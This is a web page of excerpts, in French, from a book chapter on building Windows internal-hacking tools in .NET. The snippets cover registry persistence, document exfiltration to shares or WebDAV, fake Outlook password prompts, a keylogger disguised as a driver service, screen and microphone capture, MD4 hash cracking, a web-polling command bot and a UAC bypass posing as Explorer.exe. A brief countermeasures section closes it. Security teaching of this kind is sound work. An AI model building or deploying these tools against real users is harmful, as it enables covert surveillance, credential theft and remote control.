Blog ENI : Toute la veille numérique !
🐠 -25€ dès 75€ 
+ 7 jours d'accès à la Bibliothèque Numérique ENI. Cliquez ici
Accès illimité 24h/24 à tous nos livres & vidéos ! 
Découvrez la Bibliothèque Numérique ENI. Cliquez ici
  1. Livres et vidéos
  2. Internal Hacking et contre-mesures en environnement Windows
  3. mesures en environnement Windows
Extrait - Internal Hacking et contre-mesures en environnement Windows Piratage interne, mesures de protection, développement d'outils (2e édition)
Extraits du livre
Internal Hacking et contre-mesures en environnement Windows Piratage interne, mesures de protection, développement d'outils (2e édition) Revenir à la page d'achat du livre

Fabriquer ses propres outils de hacking

Introduction à .NET

Depuis 2001, Microsoft a introduit .NET, un framework qui ne cesse d’évoluer pour arriver, au moment de l’écriture de ce livre, à la version 4.7. .NET a plusieurs buts pour Microsoft. Le premier est de fournir un ensemble de classes compatibles avec toutes les versions de ses systèmes d’exploitation. En effet, une application développée en .NET est exécutable tant sur Windows XP que sur Windows 8, pour autant que le framework soit installé sur la machine. Sur Windows Vista, .NET 2.0 est intégré. Windows 7 intègre les versions 2 et 3.5, Windows 8, la version 4.5 et Windows 10, la version 4.6. La deuxième motivation était de donner au développeur des classes, des fonctions et des propriétés compatibles entre plusieurs langages. De base, Microsoft propose plusieurs langages comme C++, VB.NET, J#, et le plus utilisé, C#. Ceci est possible, car lors de la compilation d’une application en .NET, le compilateur transforme le code VB, C#, etc., en MSIL (Microsoft Intermediate Language). Il n’est transformé en langage machine qu’à l’exécution, et cette transformation ne concerne que les parties du code effectivement utilisées par l’application. C’est le JIT (Just In Time compiler) qui s’en occupe. Un autre avantage est que votre application ne nécessitera en général pas de DLL, puisque presque toutes les fonctions sont intégrées dans le framework et auront donc un poids très faible pour énormément...

Forcer l’exécution d’une application

Faire exécuter une fois, une application truquée par un utilisateur ou un administrateur est faisable. Mais demander plusieurs fois à une personne d’exécuter un logiciel piégé est risqué car la cible peut se douter de quelque chose. Vous risquez de manquer d’excuses. L’idéal est que votre application soit capable de démarrer à distance ou automatiquement, ce qui forcera son exécution sans l’intervention de l’utilisateur.

Le démarrage automatique d’une application peut se faire avec différentes techniques. Nous allons ensemble les analyser. Certaines nécessitent une configuration avec des droits administrateurs ou système, d’autres sont possibles avec uniquement des droits utilisateurs. La différence est le domaine d’application. Un changement nécessitant les droits administrateurs permet un démarrage d’une application pour tous les utilisateurs d’une machine. Un changement avec seulement les droits utilisateurs n’impactera que l’utilisateur cible, ce qui suffit dans la majorité des cas à obtenir les informations souhaitées. 

1. Les moyens classiques

Le démarrage automatique d’une application en modifiant le système avec des droits administrateurs peut se faire de manière classique :

 En ajoutant un fichier ou un raccourci dans le dossier :


C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
 

 En ajoutant votre logiciel à la clé de registre ci-dessous :


HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
 

Pour un système 64 bits, la clé suivante est aussi disponible :


HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run...

Exfiltrer des données en différentiel

Un utilisateur même avec peu de droits a un rôle dans l’entreprise. Ce rôle, comme comptable, vendeur, chargé de relation client ou support technique, donne des droits d’accès à des fichiers, des programmes et globalement, à une foule d’informations. Ces informations sont intéressantes pour celui qui les veut ou qui en a besoin. Pour celui qui les a devant les yeux tous les jours ce n’est pas forcément pertinent. Nous allons dans ce cadre voir comment voler des informations qui se trouvent dans les dossiers de documents de l’utilisateur. Le dossier pourrait être n’importe quel dossier pour lequel la cible a des droits. Les documents volés seront copiés vers un dossier partagé, un site WebDAV ou encore un site SharePoint.

1. Utiliser un partage comme destination

Si la machine de l’utilisateur est dans le réseau d’où est lancée l’attaque, alors il sera pour nous très simple de récupérer les fichiers. Pour cela, faites un partage de dossier.

Créez un dossier dans le dossier public qui se nomme users.


C:\Users\Public\users
 

 Cliquez avec le bouton droit de la souris, choisissez Propriétés et allez dans l’onglet Partage - Partage avancé….

images/05EP10.png

 Partagez le dossier et donnez le droit Contrôle total à tout le monde.

 Dans l’onglet Sécurité, ajoutez le droit Modifier au groupe Tout le monde.

images/05EP11.png

2. Configurer un serveur avec WebDAV comme destination

Si la machine n’est pas dans le même réseau, ce qui peut être le cas pour le PC portable d’un commercial qui voyage souvent, nous allons pour cela configurer un serveur web qui pourra fonctionner comme un serveur de fichiers. On pourra y exfiltrer des documents. Nous aurions pu utiliser un serveur FTP, mais ce protocole est très rarement ouvert en sortie sur les pare-feu des entreprises.

 Pour ce faire, installez IIS sur un serveur ou sur votre machine avec les composants WebDAV, comme ici sur Windows 8.

images/05EP12.png

 Une fois l’installation effectuée, configurez l’authentification pour que tout le monde puisse écrire dans le dossier. Pour créer une nouvelle règle, ouvrez la console de gestion IIS et utilisez le menu Ajouter une règle...

Créer des fenêtres de mot de passe

L’utilisateur d’une entreprise a l’habitude qu’on lui demande son mot de passe plusieurs fois. Parfois il doit donner un mot de passe pour aller sur certains sites web si l’entreprise utilise un proxy, lors de la connexion à Outlook, à Lync, etc.

Nous allons profiter de cette demande presque excessive pour demander à l’utilisateur de nous donner son mot de passe. Nous lui donnerons comme information son nom d’utilisateur, ce qui le mettra en confiance pour notre demande.

1. Principes de base

Nous allons d’abord choisir une application à piéger. Pour la surveiller, nous regarderons la liste des processus. Dès la détection du démarrage de celle-ci, nous l’arrêterons, s’il s’agit d’une application de gestion, car la fenêtre de mot de passe doit être unique. Pour des applications comme pour Outlook ou IE, nous n’avons pas besoin de l’arrêter, il faut au contraire attendre qu’elle ait bien démarré.

Pour surveiller un processus :


Process[] Processus = Process.GetProcessesByName("Outlook"); 
             
if (Processus.Length > 0)
 

Pour stopper un processus :


Processus[0].Kill();
 

Pour récupérer le nom de l’utilisateur et le domaine courant :


Environment.UserName; 
Environment.UserDomainName;
 

La modification de la saisie d’écran se fera avec Paint, jusqu’à obtenir une image exempte d’informations personnelles.

images/05EP19.png

2. Créer l’application pour Outlook

Pour cette application, nous vous conseillons fortement d’utiliser Visual Studio. Nous utiliserons une saisie d’écran de la demande d’authentification d’origine pour la reproduire au mieux. Il sera alors plus simple de gérer la partie graphique avec Visual Studio qu’avec le placement des champs avec le Bloc-notes. Nous vous rappellons qu’il existe une version « express », gratuite téléchargeable sur le site de Microsoft.

 Modifiez les propriétés suivantes de la forme principale pour créer une fenêtre de login Outlook.


FormBorderStyle = None 
Text = Outlook 
BackgrounImage = chemin de votre saisie d'écran
 

Pour ne pas devoir refaire chaque bouton...

Créer un keylogger

Il existe de nombreux keyloggers. La plupart de ceux-ci utilisent un système bien connu, la fonction SetWindowsHookEx, qui permet de s’enregistrer pour obtenir toutes les touches frappées au clavier. Toutefois, c’est aussi le premier endroit que contrôlent les systèmes de protection pour empêcher l’écoute du clavier.

Vous trouverez plus d’informations à propos de la fonction SetWindowsHookEx sur le site de Microsoft à l’adresse suivante : http://msdn.microsoft.com/en-us/library/windows/desktop/ms644990(v=vs.85).aspx

Nous allons utiliser une technique différente de celle-ci pour rester plus discrets. Notre programme ira demander très régulièrement les touches au lieu de s’abonner. Le code présenté gère la touche pressée, mais pas si celle-ci est en majuscule, si [Alt] ou [Shift] est pressé en même temps.

1. Principes de base

Nous allons, pour cacher un peu plus l’application dans le gestionnaire des tâches, lui donner un nom et des propriétés. Cela se fait par l’intermédiaire des propriétés de l’application.

Le nom donné ressemble à celui d’un service de driver.


using System.Reflection; 
[assembly:AssemblyTitle("Driver Helper Service, Version 302.57")] 
[assembly:AssemblyVersion("7.17.13.697")] 
[assembly:AssemblyDescription("Driver Helper Service, Version 302.57")] 
[assembly:AssemblyCompany("Global Corporation. All rights reserved.")]
 

Nous...

Capturer l’écran

Nous avons vu comment capturer les touches frappées par l’utilisateur. Mais que se passe-t-il sur l’ordinateur de la victime ? Vous allez pouvoir ajouter la fonction de capture de l’écran de la machine cible.

1. Principes de base

Pour enregistrer l’écran, nous allons utiliser une fonction très simple à mettre en œuvre. Pensez juste à trouver un déclencheur intéressant comme des touches ou un programme exécuté, sans quoi l’espace utilisé par les saisies d’écran va rapidement augmenter.

Le code principal de cette application est le suivant :


g.CopyFromScreen(sc.Bounds.Location, new Point(0, 0), 
sc.Bounds.Size);
 

Il est complété par la gestion de tous les écrans présents, grâce au tableau ci-dessous :


Screen[] ecrans = Screen.AllScreens;
 

2. Créer l’application

Ce code permet la copie de l’écran et l’envoi vers un fichier image. Le code ci-dessous gère les écrans multiples.

 Créez un fichier texte qui s’appelle Capture.txt et ajoutez le code suivant :


using System; 
using System.Collections.Generic; 
using System.Text; 
using System.Drawing.Imaging; 
using System.Drawing; 
using System.Windows.Forms; 
using System.Threading; 
 
namespace PrintScreen 
{ 
    class...

Enregistrer le son

Nous avons couvert l’enregistrement du clavier, celui de son image, mais que se passe-t-il autour de lui ? Nous allons pour le savoir enregistrer le son de son microphone. Tous les portables en sont équipés et si la machine cible utilise Lync, Skype ou un autre logiciel de communication, il aura aussi un microphone à notre disposition.

1. Principes de base

Pour enregistrer du son, il existe beaucoup de fonctions dans .NET mais elles nécessitent généralement l’installation d’un SDK. Nous préférons vous donner du code qui se compile sur toutes les machines sans ajout. Nous allons pour cela utiliser la DLL Winm.dll.


[DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = 
CharSet.Ansi, SetLastError = true, ExactSpelling = true)] 
        private static extern int mciSendString(string 
lpstrCommand, string lpstrReturnString, int uReturnLength, 
int hwndCallback); 
 
        [DllImport("winmm.dll", EntryPoint = "waveOutGetVolume")] 
        public static extern void GetWaveVolume(IntPtr 
devicehandle, out int Volume);
 

Cette DLL est très simple à utiliser pour enregistrer du son.

Pour enregistrer le son :


mciSendString("open new Type waveaudio Alias recsound", "", 0, 0); 
mciSendString("record recsound", "", 0, 0);
 

Pour envoyer le tout à un fichier et fermer celui-ci :


mciSendString("save recsound monfichier.wav", ""...

Casser un mot de passe

Dans un registre un peu différent de ce que nous venons de voir, nous allons créer une application capable de casser les mots de passe cryptés de Windows. Nous avons vu dans le chapitre Extraire, casser, changer un mot de passe que l’extraction de ces mots de passe cryptés pouvait se réaliser avec des outils tels que SamDump.

Une fois que nous détenons un fichier texte contenant les mots de passe protégés, il s’agit de les casser. Nous avons vu, toujours dans le chapitre dédié à la casse des mots de passe, que ceux-ci ne sont pas cryptés, mais ce sont des hash MD4 des mots de passe, qui sont eux encodés en Unicode. Pour retrouver un mot de passe depuis son hash, il faut alors comparer un mot de passe possible haché à celui présent dans le fichier.

1. Principes de base

Pour cela, nous allons utiliser une bibliothèque .NET gérant MD4, gratuite et téléchargeable sur Internet. .NET ne permet pas de base d’utiliser MD4, Microsoft préférant que les développeurs utilisent MD5 ou les hachages encore plus sécuritaires. Dans un but éducatif, nous nous contenterons de comparer des mots de passe de type numérique allant de 0 à 7 caractères.

 Téléchargez la bibliothèque MD4 sur le site suivant : http://www.superstarcoders.com/blogs/posts/md4-hash-algorithm-in-c-sharp.aspx

Pour comparer notre éventuel mode de passe avec celui du fichier, nous allons transformer celui-ci en Unicode.


byte[] hashunicode = Encoding.Unicode.GetBytes(pass); 
 

Nous allons ensuite le transformer en MD4.


byte[] hash = ComputeMD4(hashunicode);
 

Puis nous transformerons le résultat en hexadécimal pour le comparer au mot de passe issu de l’extraction.


string txtmd4 = ""; 
            foreach (byte b in hash) 
            { 
                txtmd4 += b.ToString("X"); 
            }
 

Nous utiliserons une fonction qui n’est disponible qu’à partir du framework 4. Celle-ci permet de faire des boucles en utilisant le parallélisme, donc de résoudre normalement notre mot de passe plus vite.


Parallel.For(0, 9999999...

Commander un PC à distance

Lorsque vous faites exécuter une application piégée à un utilisateur, vous prenez un risque. Il pourrait choisir de ne pas cliquer sur chaque fichier que vous lui envoyez. Il faut alors trouver un moyen pour qu’il exécute vos lignes de commande sans lui faire exécuter plusieurs applications truquées. Nous allons donc créer une application robot qui ira régulièrement chercher sur un site web les commandes qu’elle doit exécuter.

1. Principes de base

Nous allons utiliser un objet WebClient pour ouvrir le fichier sans le télécharger.


WebClient pageWeb = new WebClient(); 
Stream flux = pageWeb.OpenRead(chemin); 
StreamReader contenu = new StreamReader(flux);
 

La première ligne est la commande, la deuxième ligne comporte les paramètres et la troisième indique si l’application doit être visible ou non pour l’utilisateur.


      string command, param = ""; 
      bool EstVisible = false; 
      command = contenu.ReadLine(); 
      try{ param = contenu.ReadLine(); } catch { } 
      try { EstVisible = bool.Parse(contenu.ReadLine()); } catch { }
 

Le fichier de commande est un simple fichier de texte, chargé sur un site web à une adresse fixe et ayant toujours le même nom. La variable Contenu est la page web qui est lue. Il est possible de lire une page plus...

Détourner la sécurité de l’UAC

Depuis Windows Vista, l’UAC protège les utilisateurs ayant des droits administrateurs sur leur machine. Dès qu’une application ou une ligne de commande est exécutée, elle a par défaut des droits utilisateurs même si l’utilisateur est administrateur de son poste. Le fait de demander à l’utilisateur d’exécuter une application avec des privilèges élevés est très suspect. Nous allons développer une application capable de s’installer avec seulement des droits utilisateurs et qui sera exécutée à chaque fois que l’utilisateur lancera une application en tant qu’administrateur. Nous devrons pour cela fabriquer un exécutable capable de démarrer une autre application depuis les paramètres reçus de consent.exe (consent.exe est l’application système qu’utilise UAC). Elle devra ressembler à un logiciel connu pour que l’utilisateur n’y prête pas attention. Nous camouflerons donc notre logiciel en Explorer.exe. Le logiciel sera signé et reconnu comme fiable grâce à l’installation du certificat root chez l’utilisateur cible.

1. Principe de base

Commençons par l’application. La partie de code importante est la suivante, le reste du code ressemble aux exemples déjà proposés :


try 
            { 
                String Command = Environment.CommandLine; 
                String[] arguments = Command.Split('='); 
                String ProcessArgs = ""; 
                Process p = new Process(); 
                p.StartInfo.FileName = arguments[1]; 
                if (arguments[2].Length > 2) 
                    p.StartInfo.Arguments = arguments[2]; 
          ...

Changer le code PIN BitLocker avec les droits utilisateurs

Depuis Windows Vista, Microsoft permet de crypter le disque dur complet d’une machine avec BitLocker. La clé de cryptage est stockée dans une puce TPM ou sur une clé USB. Les données ne sont plus modifiables offline. Mais il est encore possible de démarrer le système et d’attaquer les services exposés. Pour pallier cela, Microsoft permet l’ajout d’un code PIN qui n’est pas stocké sur la machine. L’utilisateur peut le définir et sans ce code le système ne démarre pas. En apparence, c’est un bon système, mais il faut que l’utilisateur soit administrateur pour pouvoir le changer, ce qui est bien dommage. Nous allons donc créer une application qui, une fois installée, permettra à un utilisateur sans droit administrateur de changer le code PIN de BitLocker.

1. Principes de base

Nous allons créer un service Windows qui s’exécutera avec les droits système qui seront chargés de modifier le PIN à la place de l’utilisateur. Et nous allons faire une application où l’utilisateur peut entrer un code PIN et l’envoyer au service.

Pour créer un service, notre classe doit hériter de ServiceBase.


public partial class Service1 : ServiceBase
 

Les fonctions principales obligatoires appelées par le système sont Start et Stop :


protected override void OnStart(string[] args) 
        { 
        } 
 
protected override void OnStop() 
        { 
        }
 

Pour la communication entre le service et l’application utilisateur, nous utiliserons les Named Pipes, ce qui veut dire que nous communiquerons entre les deux processus en utilisant la mémoire du système, un moyen simple, rapide et efficace.

Vous trouverez des informations à ce sujet sur le site Microsoft suivant : http://msdn.microsoft.com/en-us/library/bb546085.aspx

Le service doit écouter et attendre qu’on lui envoie un nouveau code PIN.


NamedPipeServerStream Ecoute = new 
NamedPipeServerStream("\\\\.\\pipe\\PinSetting", 
System.IO.Pipes.PipeDirection.InOut,2); 
            StreamReader lecteur = new StreamReader(Ecoute); ...

Contre-mesures

Une application keylogger, capture d’écran, etc. compilée par un utilisateur n’est en général pas détectée par un antivirus. Il faut empêcher les utilisateurs de compiler leur code ; pour cela, bloquez les compilateurs présents dans les Frameworks installés sur les machines clientes en créant une restriction logicielle sur ces outils. Le Framework .NET intègre un compilateur C# et un compilateur VB et parfois un compilateur J#, veillez donc à bloquer tous ces compilateurs pour les utilisateurs finaux, soit csc.exe, vbc.exe et jsc.exe. Pensez également à bloquer PowerShell, parce qu’il est possible pour un utilisateur d’utiliser des objets .NET dans PowerShell, ce qui donnerait à son script les mêmes capacités qu’une application compilée.

Vous pouvez également interdire la modification des clés de registre avec une stratégie de groupe. Ciblez les clés utilisateurs qui permettent d’ajouter une classe de fichier, de démarrer une application et toutes les clés qui pourraient compromettre le système.